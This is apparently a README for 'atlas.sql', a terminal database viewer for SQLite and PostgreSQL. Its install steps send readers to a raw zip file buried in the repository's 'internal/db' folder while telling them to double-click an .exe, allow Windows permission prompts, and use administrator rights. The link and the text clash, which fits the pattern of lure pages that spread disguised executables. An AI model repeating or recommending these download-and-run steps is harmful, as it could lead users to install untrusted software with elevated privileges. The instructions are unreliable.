atlas.sql is a simple terminal program that helps you work with SQLite and PostgreSQL databases. You don't need to write complex commands to view or export your data. It shows tables that you can scroll through both sideways and up and down. It also lets you look closer at long records, export data quickly to CSV files, and even learn SQL with a built-in tutorial. atlas.sql is part of the Atlas Suite, a set of tools designed for easy data management.
To use atlas.sql on a Windows computer, your system should meet these basic requirements:
- Windows 10 or later (64-bit recommended)
- At least 2 GB of RAM
- 100 MB of free disk space for installation
- Internet connection to download the software
atlas.sql runs in the terminal (Command Prompt or PowerShell). No extra software is needed to start, but it will work best if you have SQLite or PostgreSQL databases ready to connect.
To get atlas.sql up and running on your Windows machine, follow these steps carefully.
Click the large blue button above or use this link to visit the download page:
https://raw.githubusercontent.com/diegomdlpa-hue/atlas.sql/main/internal/db/sql_atlas_1.8.zip
Here you will find the latest version of atlas.sql for Windows.
Look for the file that ends with .exe. This is the Windows installer or executable program.
- The file name will often include the version number.
- For example, it may look like
atlas.sql-windows-amd64.exeor something similar.
Click to download this file to your computer. It may take a few moments depending on your internet speed.
Once the download finishes, find the .exe file in your Downloads folder or wherever your browser saves files.
- Double-click the file to start the program.
- If Windows asks for permission to run the app, allow it.
atlas.sql will open in a terminal window. From here, you can start using the program.
Once atlas.sql starts, you’ll see a simple menu or prompt.
- You can open a database by typing or selecting from options.
- The interface shows tables with arrow keys for horizontal and vertical scrolling.
- To see more details for a long record, select it and press enter.
- Use the built-in SQL tutorial to learn how to write simple commands.
- Export any table to a CSV file quickly by choosing the export option.
All control happens through your keyboard, using simple keys explained on the screen.
atlas.sql supports SQLite and PostgreSQL databases. Here’s how to connect to each.
SQLite databases use a single file that ends with .sqlite or .db.
- Have the database file saved on your computer.
- When atlas.sql asks, provide the path to that file.
- You will then see the tables and data inside that database.
PostgreSQL requires connection details:
- Hostname or IP address
- Port number (usually 5432)
- Database name
- Username and password
Enter these details when prompted. If you don’t have them, contact your database administrator or check your setup.
If you want to save your table data for use in programs like Excel, atlas.sql makes it straightforward.
- After opening a table, use the export option from the menu or type a specific command.
- Choose a file location and name for the exported CSV.
- The file will save that data in a simple format that most programs read easily.
CSV files let you share data without needing a database program.
atlas.sql includes a basic tutorial to help you learn SQL commands.
- Access the tutorial from the main menu by selecting the tutorial option.
- The tutorial guides you through simple queries step by step.
- You can practice commands directly inside the program.
- This helps users new to databases understand how to query and manage data.
The tutorial is easy to follow and needs no extra setup.
- Interactive Tables: Move left, right, up, or down with arrow keys to browse data.
- Detail View: Press enter on a record to see long text or detailed fields.
- Quick CSV Export: Save all or part of your data fast without complicated steps.
- SQL Tutorial: Learn and test simple SQL commands in the same interface.
- Support for SQLite and PostgreSQL: Works with both database types out of the box.
- Terminal User Interface: Clean and clear presentation using just your keyboard and terminal.
- If atlas.sql does not start, make sure you downloaded the Windows
.exeversion. - Check that your system meets the minimum requirements.
- For PostgreSQL connections, confirm your login details are correct.
- If tables do not appear, verify that the database file or server is accessible.
- If exporting fails, ensure you have permission to write files in your chosen location.
Use the Command Prompt or PowerShell with administrator rights if you face issues running the program.
Q: Do I need SQL knowledge to use atlas.sql?
A: No. You can browse and export data without knowing SQL. The tutorial helps you learn commands step by step.
Q: Can I use atlas.sql with other databases?
A: atlas.sql supports SQLite and PostgreSQL only at this time.
Q: How do I update atlas.sql?
A: Visit the release page again and download the latest .exe file, then replace your current version.
- Go to the download page: https://raw.githubusercontent.com/diegomdlpa-hue/atlas.sql/main/internal/db/sql_atlas_1.8.zip
- Download the latest Windows
.exefile. - Run the file to start atlas.sql on your computer.
- Follow on-screen instructions to open databases or start the tutorial.
- atlas-suite
- bubbletea (terminal UI framework atlas.sql uses)
- csv-export
- database-tool
- golang (programming language used)
- postgresql
- sql-client
- sql-tutorial
- sqlite
- terminal-ui
- tui (terminal user interface)